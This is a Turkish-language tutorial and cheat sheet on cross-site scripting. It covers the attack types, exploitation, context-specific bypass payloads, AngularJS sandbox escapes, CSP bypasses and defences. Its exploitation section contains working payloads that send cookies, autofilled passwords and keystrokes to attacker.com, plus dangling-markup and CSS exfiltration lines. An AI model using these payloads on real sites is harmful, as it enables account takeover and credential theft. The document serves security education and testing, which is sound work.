Cross Site Scripting

1. XSS Nedir ve Temel Çalışma Mantığı?

Tanım & SOP İhlali

Cross-Site Scripting (XSS), saldırganın hedef web uygulaması ile kullanıcılar arasındaki etkileşimi ele geçirmesine olanak tanıyan bir web güvenlik zafiyetidir.

• Same-Origin Policy (SOP) İhlali: SOP, farklı kökenlere (origin) ait web sitelerinin birbirlerinin verilerine erişmesini engellemek üzere tasarlanmıştır. XSS zafiyeti, bu güvenlik sınırını dolanarak saldırganın istemci tarafında zararlı JavaScript kodları çalıştırmasını sağlar.
• Kullanıcı Taklidi (Masquerading): Saldırgan, kurban kullanıcının kimliğine bürünebilir, kurbanın gerçekleştirebileceği tüm eylemleri yürütebilir ve verilerine erişebilir. Kurban yönetici (admin) yetkilerine sahipse, uygulamanın tüm işlevselliği ve verileri üzerinde tam kontrol sağlanabilir.

PoC (Proof of Concept) Teknikleri

Zafiyeti doğrulamak için taranan girdiye JavaScript çalıştıran bir payload enjekte edilir.

1
// Geleneksel PoC Payload'ı
2
alert(document.domain)

Chrome 92+ Güncellemesi ve PoC Değişimi

Chrome version 92 (2021) sonrasında cross-origin iframe yapılarının alert() fonksiyonunu çağırması engellenmiştir. Gelişmiş XSS senaryolarında ve iframe bazlı laboratuvarlarda alternatif PoC olarak print() fonksiyonunun kullanılması önerilir.

1
// Modern / Chrome Uyumlu PoC Payload'ı
2
print()

2. XSS Saldırı Türleri (3 Ana Tür)

XSS zafiyetleri verinin kaynağına ve yanıtın işlenme şekline göre üç ana kategoriye ayrılır:

+-----------------------------------------------------------------------+
|                            XSS TÜRLERİ                                |
+-----------------------------------------------------------------------+
| 1. Reflected XSS   : HTTP İsteği --------> Anlık Yanıt (Sunucu Tabanlı) |
| 2. Stored XSS      : Veritabanı/Kayıt ----> Sonraki Yanıtlar (Kalıcı)  |
| 3. DOM-based XSS   : Source (URL vb.) ----> JS Sink (İstemci Tabanlı)  |
+-----------------------------------------------------------------------+

1️ Reflected XSS (Yansıtılan XSS)

• Mekanizma: Uygulamanın bir HTTP isteğiyle aldığı veriyi, güvenli olmayan bir şekilde anında HTTP yanıtına dahil etmesiyle oluşur.
• Senaryo & Örnek:
  • Normal İstek: https://insecure-website.com/status?message=All+is+well
  • Saldırı URL’i: https://insecure-website.com/status?message=<script>/*+Zararli+Kod+*/</script>
• Özellikleri: Saldırının kurbana ulaşması için e-posta, sosyal medya veya zararlı bir bağlantı gibi harici bir teslim mekanizmasına (external delivery mechanism) ihtiyaç duyulur. Bu nedenle genel etki düzeyi Stored XSS’e göre daha düşüktür.

2️ Stored XSS (Kalıcı / İkinci Derece XSS)

• Mekanizma: Uygulamanın güvenilmeyen bir kaynaktan aldığı veriyi veritabanı veya depolama alanına kaydetmesi ve daha sonra diğer kullanıcılara sunulan yanıt içeriğine güvensiz şekilde eklemesiyle ortaya çıkar.
• Veri Kaynakları:
  • HTTP istekleri (Blog yorumları, sohbet takma adları, sipariş iletişim bilgileri).
  • Harici güvensiz kanallar (SMTP üzerinden alınan e-postalar, sosyal medya akışları, ağ paketleri).
• Özellikleri:
  • Saldırı uygulamanın kendi içinde depolandığı için kendi kendini barındıran (self-contained) bir yapıya sahiptir.
  • Saldırganın kurbana özel bir bağlantı tıklatması gerekmez; kurbanın ilgili sayfayı ziyaret etmesi yeterlidir.
  • Oturum açmış kullanıcıları hedeflemede %100 başarı sağlar.

3️ DOM-Based XSS (DOM Tabanlı XSS)

• Mekanizma: İstemci tarafı JavaScript kodunun, güvenilmeyen bir kaynaktan (Source) aldığı veriyi dinamik kod yürütmeyi destekleyen tehlikeli bir aktarıcıya (Sink) güvensiz bir şekilde yazmasıyla oluşur.

• Temel Yapı:

  1
  // Source: document.getElementById('search').value (veya window.location)
  2
  var search = document.getElementById('search').value;
  3
  var results = document.getElementById('results');
  4
  // Sink: innerHTML
  5
  results.innerHTML = 'Aranan değer: ' + search; // Zafiyet Noktası

• Payload Örneği: <img src=1 onerror='alert(document.domain)'>

Reflected & Stored DOM XSS Hibrit Yapıları

• Reflected DOM XSS: Sunucu isteği alır ve JS string’i içine yansıtır (eval('var data = "reflected string"')). İstemci taraflı betik bu veriyi tehlikeli sink’e gönderir.
• Stored DOM XSS: Sunucu veriyi kaydeder, sonraki yanıtta JS değişkenine koyar, istemci betiği bunu sink’e yazar (element.innerHTML = comment.author).

3. XSS İstismar (Exploitation) Teknikleri

XSS zafiyeti tespit edildikten sonra saldırganların gerçekleştirebileceği temel istismar senaryoları:

1. Session Cookie Çalma (Cookie Stealing)

Kurbanın oturum çerezlerini saldırganın sunucusuna göndererek oturum ele geçirme işlemidir.

Çalışan örnek payload (basit sürüm — img beacon):

1
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Daha gizli/güvenilir sürüm (fetch ile, sayfa yönlendirmesi olmadan arka planda gönderir):

1
<script>
2
fetch('https://attacker.com/log', {
3
  method: 'POST',
4
  mode: 'no-cors',
5
  body: document.cookie
6
});
7
</script>

Burp Collaborator ile hızlı doğrulama (veri gerekmeden sadece tetiklendiğini kanıtlamak için):

1
<script>fetch('https://BURP-COLLABORATOR-SUBDOMAIN/'+document.cookie)</script>

Cookie Stealing Sınırlamaları

1. Çerezin HttpOnly bayrağı ile işaretlenmiş olması (JavaScript çereze erişemez).
2. Kullanıcının o anda oturum açmamış olması.
3. Oturumun IP adresine veya ek faktörlere kilitlenmiş olması.
4. Oturumun zamana bağlı olarak dolması.

2. Otomatik Doldurma ile Parola Yakalama (Password Capture)

Kullanıcıların parola yöneticileri (password managers) kullanmasından yararlanılır.

• Saldırgan XSS ile sayfaya gizli bir <input type="password"> ve <input type="text"> formu enjekte eder.
• Parola yöneticisi formu otomatik doldurduğunda, JavaScript bu değerleri okuyup saldırgan sunucusuna iletir.

1
<input type="text" name="username" id="username" style="display:none">
2
<input type="password" name="password" id="password" style="display:none">
3
<script>
4
document.getElementById('username').addEventListener('input', exfil);
5
document.getElementById('password').addEventListener('input', exfil);
6
function exfil(){
7
  fetch('https://attacker.com/log', {
8
    method: 'POST', mode: 'no-cors',
9
    body: JSON.stringify({
10
      u: document.getElementById('username').value,
11
      p: document.getElementById('password').value
12
    })
13
  });
14
}
15
</script>

3. CSRF Korumalarını Aşma (CSRF Bypass & Hybrid Attacks)

Geleneksel CSRF tek taraflıdır (yanıt okunamaz). Ancak XSS çift yönlü (two-way) iletişime imkan tanır:

1. Saldırgan XSS JavaScript kodu ile kurbanın tarayıcısından arka planda istek atarak yanıtı okur ve Anti-CSRF Token’ı çeker.
2. Elde edilen CSRF token’ı ile kurbanın e-posta adresini saldırganın adresiyle değiştirir.
3. Şifre sıfırlama isteği tetikleyerek hesabı tamamen ele geçirir.

4. Uygulama Ele Geçirme / Keylogger

XSS sadece tek seferlik veri çalmakla sınırlı değildir; kalıcı bir tuş kaydedici veya tam kontrol scripti enjekte edilebilir:

1
<script>
2
document.onkeypress = function(e){
3
  fetch('https://attacker.com/keys', {method:'POST', mode:'no-cors', body: e.key});
4
}
5
</script>

Daha gelişmiş senaryolarda BeEF (Browser Exploitation Framework) gibi araçlar kullanılarak kurbanın tarayıcısı “hook” edilip komuta-kontrol (C2) altına alınabilir.

4. Manuel Test Metodolojisi & Bağlam (Context) Analizi

Manual Testing Adımları (Reflected & Stored)

1. Tüm Giriş Noktalarını (Entry Points) Test Edin: URL sorgu parametreleri, body verileri, URL dosya yolları ve HTTP başlıkları (Header).
2. Benzersiz Alfanümerik Değer Gönderin: Filtreleri aşabilecek 8 karakterlik rastgele değerler kullanın (Örn: x8Zk9P2m). Burp Intruder Grep özelliğinden faydalanın.
3. Yansıma Bağlamını (Reflection Context) Belirleyin: Değerin HTML etiketleri arasında mı, etiket niteliğinde mi, yoksa JavaScript bloklarında mı olduğunu tespit edin.
4. Aday Payload Deneyin: Bağlama uygun test payload’ını Burp Repeater üzerinden gönderin.
5. Tarayıcıda Doğrulayın: İstemci tarafında alert(document.domain) ile doğrulamayı tamamlayın.

XSS Bağlamları (Contexts) ve Kaçış (Bypass) Cheatsheet

🅰️ Context 1: HTML Etiketleri Arasında (Between HTML Tags)

Eğer veri doğrudan HTML metni olarak yansıtılıyorsa, yeni HTML etiketleri oluşturulur.

• Payload: <script>alert(document.domain)</script>
• Alternatif: <img src=1 onerror=alert(document.domain)>

🅱️ Context 2: HTML Etiket Niteliklerinde (In HTML Tag Attributes)

Eğer veri value="..." gibi bir attribute içine yazılıyorsa:

• Tırnak Kırılabilirse:
  • Payload: "><script>alert(document.domain)</script>
• Açılı Parantezler (< >) Engellenmişse:
  • Tırnak kapatılıp yeni bir olay yöneticisi (event handler) eklenir.
  • Payload: " autofocus onfocus=alert(document.domain) x=" (autofocus ile kullanıcı etkileşimi olmadan tetiklenir)
• Scriptable Attribute İçindeyse (href, src):
  • Tırnak kırmaya gerek kalmadan javascript: pseudo-protokolü kullanılır.
  • Payload: <a href="javascript:alert(document.domain)">Tıkla</a>

Accesskey & Gizli Input Tekniği

Gizli input alanlarında (<input type="hidden">) veya canonical etiketlerinde XSS tetiklemek için accesskey ve kullanıcı etkileşimi kombinasyonu kullanılabilir:
accesskey="X" onclick="alert(document.domain)"

🅲 Context 3: JavaScript Kod Bloğu İçinde (In JavaScript)

1. <script> Etiketini Kapatma

Tarayıcı öncelikle HTML ayrıştırması yaptığı için mevcut script bloğu kapatılabilir:

1
</script><img src=1 onerror=alert(document.domain)>

2. JS String İfadelerinden Kırma (Breaking Out of String)

Metin dizisi kapatılıp ifadeler birleştirilir veya yorum satırına alınır:

1
'-alert(document.domain)-'
2
';alert(document.domain)//

3. Backslash (\) Kaçışlarını Aşma

Uygulama tek tırnağı \' şeklinde kaçırıyorsa ancak \ karakterini kaçırmıyorsa, kendi backslash’imiz ile uygulamanın eklediği backslash nötralize edilir:

1
// Girdi: \';alert(document.domain)//
2
// Çıktı: \\';alert(document.domain)// -> İlk backslash ikincisini kaçırır, tırnak serbest kalır!

4. Parantezsiz Fonksiyon Çağırma (Throw & Exception Handler)

Parantezlerin () engellendiği durumlarda throw deyimi ve global exception handler kullanılır:

1
onerror=alert;throw 1

5. Tag Attribute İçi JS ve HTML Encoding Kullanımı

Etiket içi event handler’larda (onclick="var input='DATA'") tarayıcı JS’den önce HTML decoding yapar. Bu sayede tek tırnak engelleri HTML Entity ile aşılabilir:

1
// HTML Entity ile tırnak kırarak JS çalıştırma:
2
'-alert(document.domain)-'  -->  '-alert(document.domain)-'

6. JS Template Literals (Şablon Dizileri)

Metin backtick (`) ile kapsanmışsa ${...} yapısı ile doğrudan kod çalıştırılır:

1
${alert(document.domain)}

🅳 Context 4: SVG İçinde

<svg> etiketi HTML ile aynı sayfada işlendiğinde kendi olay yöneticilerini destekler ve genelde <script> filtrelerinden kaçar çünkü çoğu blacklist yalnızca <script> etiketini arar:

1
<svg onload=alert(document.domain)>
2
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

🅴 Context 5: CSS / Style İçinde

Eski tarayıcılarda (IE) expression() ile CSS içinden JS çalıştırılabiliyordu; modern tarayıcılarda kapalı ama CSS injection yine de veri sızdırmak (attribute selector ile karakter karakter parola/token okuma) için kullanılabilir:

1
/* Eski IE - artık çalışmaz, referans amaçlı */
2
<div style="width: expression(alert(document.domain));">
3

4
/* Modern CSS exfiltration - attribute selector ile veri sızdırma */
5
input[name=csrf][value^="a"] { background: url(https://attacker.com/log?c=a); }

5. Blind XSS (Kör XSS)

Payload’ın kendi oturumunda değil, başka bir kullanıcının (genelde admin panel, log görüntüleyici, destek talebi arayüzü gibi arka ofis ekranlarının) görüntülediği bir yerde tetiklendiği senaryolardır. Yanıt anında görünmediği için tespiti zordur.

Test yöntemi: Her forma/girdiye Burp Collaborator domainine fetch/img isteği atan bir payload gönderilir, ardından Collaborator polling ile DNS/HTTP etkileşimi kontrol edilir:

1
<script>fetch('https://BURP-COLLABORATOR-SUBDOMAIN')</script>
2
<img src=x onerror="fetch('https://BURP-COLLABORATOR-SUBDOMAIN')">

Tipik hedef noktalar: İletişim formları, destek/ticket sistemleri, kullanıcı adı/profil alanları (admin panelinde görüntülenen), log/analytics arayüzleri, User-Agent / Referer gibi loglanan HTTP başlıkları.

Araç önerisi: XSS Hunter (veya kendi Collaborator payload’ların), tetiklenme anında ekran görüntüsü, çerez ve DOM içeriğini otomatik toplar.

6. DOM-Based XSS: Source & Sink Listesi

DOM XSS, veri akışının Source (Kaynak) noktasından Sink (Aktarıcı) noktasına ulaşmasıyla gerçekleşir.

Ortak Source’lar

• window.location (location.search, location.hash, location.pathname)
• document.referrer
• document.cookie

Kritik DOM XSS Sink’leri

HTML & Execution Sinks

• document.write() / document.writeln()
• element.innerHTML / element.outerHTML / element.insertAdjacentHTML
• eval()
• element.onevent (Örn: onclick, onerror)

jQuery Sink’leri

• attr() (Örn: $('#backLink').attr("href", url) → ?returnUrl=javascript:alert(1))
• $() Selector Sink (Örn: $(location.hash) ile hashchange olayı istismarı)
• add(), after(), append(), animate(), html(), prepend(), replaceWith(), jQuery.parseHTML()

Mutation XSS (mXSS) — Kısa Not

Tarayıcının HTML parser’ı, innerHTML gibi sink’lere yazılan “temizlenmiş” (sanitize edilmiş) veriyi tekrar parse ederken beklenmedik şekilde mutasyona uğratabilir — sanitizer güvenli olduğunu düşündüğü bir çıktıyı serialize edip tekrar parse ettiğinde tehlikeli hale gelebilir. Klasik örnek (DOMPurify’ın eski versiyonlarında bulunan bir mXSS zinciri mantığı):

1
<!-- Sanitizer'a giren -->
2
<listing>&lt;img src=1 onerror=alert(1)&gt;</listing>
3
<!-- Tarayıcı tekrar parse ettiğinde farklı bir DOM ağacı oluşabilir -->

Savunma tarafında: sanitizer kütüphanesini güncel tutmak ve mümkünse innerHTML yerine textContent / DOM API (createElement, setAttribute) kullanmak mXSS riskini büyük ölçüde azaltır.

7. Client-Side Template Injection (CSTI) & AngularJS Sandbox Escapes

CSTI, client-side şablon motorlarının (AngularJS vb.) dinamik girdileri şablon ifadesi ({{ ... }}) olarak çalıştırmasıyla oluşur.

AngularJS Sandbox Mantığı ve Çalışması

AngularJS, şablon içinde window, document, __proto__ gibi nesnelere erişimi engellemek için bir koruma katmanı (sandbox) kullanırdı:

• ensureSafeObject(): Nesnenin kendisine referans verip vermediğini denetler.
• ensureSafeMemberName(): __proto__ veya __lookupGetter__ erişimlerini engeller.
• ensureSafeFunction(): call(), apply(), bind(), constructor() çağrılarını engeller.

Sandbox Kaldırıldı

AngularJS ekibi sandbox’ın gerçek bir güvenlik sınırı olmadığını kabul etmiş ve v1.6 itibarıyla tamamen kaldırmıştır. Ancak eski sistemlerde zafiyet devam etmektedir.

Sandbox Escape Teknikleri

1. charAt Fonksiyonunu Ezme (Classic Escape)

isIdent() kontrolünü yanıltmak için charAt metodu [].join ile değiştirilir:

1
'a'.constructor.prototype.charAt=[].join

Bu işlem sonrası AngularJS her karakteri tanımlayıcı olarak kabul eder ve $eval('x=alert(1)') kodu çalıştırılabilir.

2. Tırnaksız ve $eval Yokluğunda Escape (orderBy Filtresi)

Tırnak kullanılamadığında String.fromCharCode kısıtı constructor üzerinden aşılır; $eval yoksa orderBy filtresinden faydalanılır:

[123]|orderBy:'...Payload...'

3. AngularJS CSP Bypass ($event.path)

CSP aktifken AngularJS Function constructor’ını kullanmaz. Ancak Chrome üzerinde $event.path dizisi taranarak en son eleman olan window nesnesine ulaşılır:

1
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">

Alternatif olarak [1].map(alert) yapısı ile window doğrudan çağrılmadan sandbox atlatılabilir.

8. Dangling Markup Injection (Sarkık İşaretçi Enjeksiyonu)

XSS enjeksiyonunun CSP veya katı filtreler nedeniyle tam olarak çalıştırılamadığı durumlarda cross-domain veri yakalamak için kullanılır.

Çalışma Mantığı

Kapatılmamış bir etiket niteliği (dangling attribute) bırakılarak sayfanın geri kalanındaki hassas verilerin (CSRF token vb.) saldırgan sunucusuna tırnak kapanana kadar bir istek parametresi olarak gönderilmesi sağlanır.

1
<!-- Saldırgan Payload'ı -->
2
"><img src='//attacker-website.com?
3

4
<!-- Sayfanın Devamı (Tarayıcı Tarafından Okunan Kısım) -->
5
 kurbanın_csrf_tokeni_ve_verileri ... ' />

Tarayıcı kapatıcı tırnağı (') görene kadar aradaki tüm metni URL query string olarak saldırgan adresine gönderir.

Korunma

• CSP img-src 'self' direktifi kullanımı.
• Chrome tarayıcısının unencoded yeni satır veya < > içeren URL isteklerini engelleyen yerleşik koruması.

9. Content Security Policy (CSP) & Bypass Rehberi

CSP, XSS ve diğer veri sızdırma saldırılarını hafifletmek için tarayıcıya sunulan Content-Security-Policy yanıt başlığıdır.

Kritik CSP Direktifleri

• script-src 'self' https://scripts.website.com: Sadece güvenli kaynaklardan JS yüklenmesine izin verir.
• script-src 'nonce-rAnd0m123': Sadece sunucu tarafından oluşturulan rastgele nonce değerine sahip etiketleri çalıştırır.
• script-src 'sha256-...': Sadece hash değeri eşleşen betikleri çalıştırır.
• frame-ancestors 'self' / 'none': Sayfanın iframe içine alınmasını engelleyerek Clickjacking saldırılarını önler (X-Frame-Options’a kıyasla esnektir ve tüm hiyerarşiyi denetler).

CSP Zayıflıkları ve Bypass Yöntemleri

1. CDN Kullanım Riskleri: ajax.googleapis.com gibi ortak CDN’lere izin verilmişse, üçüncü taraf dosya yüklemeleri ile CSP baypas edilebilir.
2. img-src Açıkları: CSP betik yüklemesini engellese bile img-src serbestse CSRF token’ları görüntü istekleriyle dışarı aktarılabilir.
3. Policy Injection: Yanıtta report-uri gibi parametreler yansıtılıyorsa, noktalı virgül ; ile yeni direktifler eklenebilir. Chrome’da script-src-elem direktifi kullanılarak mevcut script-src kısıtlamalarının üzerine yazılabilir.

10. XSS Önleme ve Güvenli Kodlama (Prevention Cheat Sheet)

XSS zafiyetlerini önlemek üç temel savunma katmanıyla mümkündür:

+-------------------------------------------------------------------+
|                     XSS SAVUNMA MİMARİSİ                          |
+-------------------------------------------------------------------+
| 1. Çıkışta Kodlama (Encode Data on Output)   --> Birincil Savunma |
| 2. Girişte Doğrulama (Validate Input)        --> İkincil Savunma  |
| 3. CSP + Trusted Types                       --> Son Savunma Hattı|
+-------------------------------------------------------------------+

1. Çıkışta Veriyi Kodlama (Output Encoding)

Kodlama işlemi verinin yazılacağı bağlama (context) göre yapılmalıdır.

A. HTML Context

Tüm güvensiz karakterler HTML varlıklarına (HTML Entities) dönüştürülmelidir:

• < –> <
• > –> >
• PHP Örneği: htmlentities($input, ENT_QUOTES, 'UTF-8')

B. JavaScript String Context

Alfanümerik olmayan tüm karakterler Unicode kaçış dizisine dönüştürülmelidir:

• < –> \u003c

• > –> \u003e

• JS Fonksiyonu:

  1
  function jsEscape(str){
  2
    return String(str).replace(/[^\w. ]/gi, function(c){
  3
      return '\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4);
  4
    });
  5
  }

C. Çifte Kodlama (Double Encoding)

Veri bir HTML event handler’ı içindeki JS dizisine yazılıyorsa (<a onclick="x='DATA'">), önce Unicode escaping, ardından HTML encoding sırasıyla uygulanmalıdır!

2. Girişte Veriyi Doğrulama (Input Validation)

• Beyaz Liste (Whitelist) yaklaşımı benimsenmelidir (Örn: URL alınıyorsa sadece http ve https protokollerine izin verilmelidir; javascript: veya data: engellenmelidir).
• Hatalı veriyi temizlemeye (sanitize) çalışmak yerine doğrudan reddetmek tercih edilmelidir.

3. Güvenli HTML Kullanımı & Kütüphaneler

Kullanıcının HTML yazmasına izin verilmesi gerekiyorsa (örneğin zengin metin editörleri):

• DOMPurify gibi istemci tarafı kodlama ve temizleme kütüphaneleri kullanılmalıdır (güncel versiyon şart — bkz. Bölüm 6, Mutation XSS notu).
• Otomatik kaçış yapan şablon motorları tercih edilmelidir: Twig ({{ user.name | e('html') }}), Jinja, React.
• Dikkat: Şablon dizilerinde doğrudan string birleştirmesi yapılmamalıdır (Server-Side Template Injection riski).

4. Örnek Güvenli CSP Yapılandırması

XSS savunması başarısız olsa bile zararı en aza indiren en iyi uygulama CSP başlığı:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'none';

5. Trusted Types API (Modern Tarayıcı Savunması)

Chrome tabanlı tarayıcılarda desteklenen Trusted Types, innerHTML, document.write() gibi tehlikeli DOM sink’lerine doğrudan string yazılmasını engeller; veri önce güvenilir bir “policy” fonksiyonundan geçmek zorundadır. Bu, DOM-based XSS’i mimari seviyede büyük ölçüde ortadan kaldırır:

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy;

1
const myPolicy = trustedTypes.createPolicy('myPolicy', {
2
  createHTML: (input) => DOMPurify.sanitize(input)
3
});
4
element.innerHTML = myPolicy.createHTML(userInput); // güvenli
5
element.innerHTML = userInput; // TypeError fırlatır, policy'den geçmediği için

11. Hızlı Referans: Bağlama Göre Payload Tablosu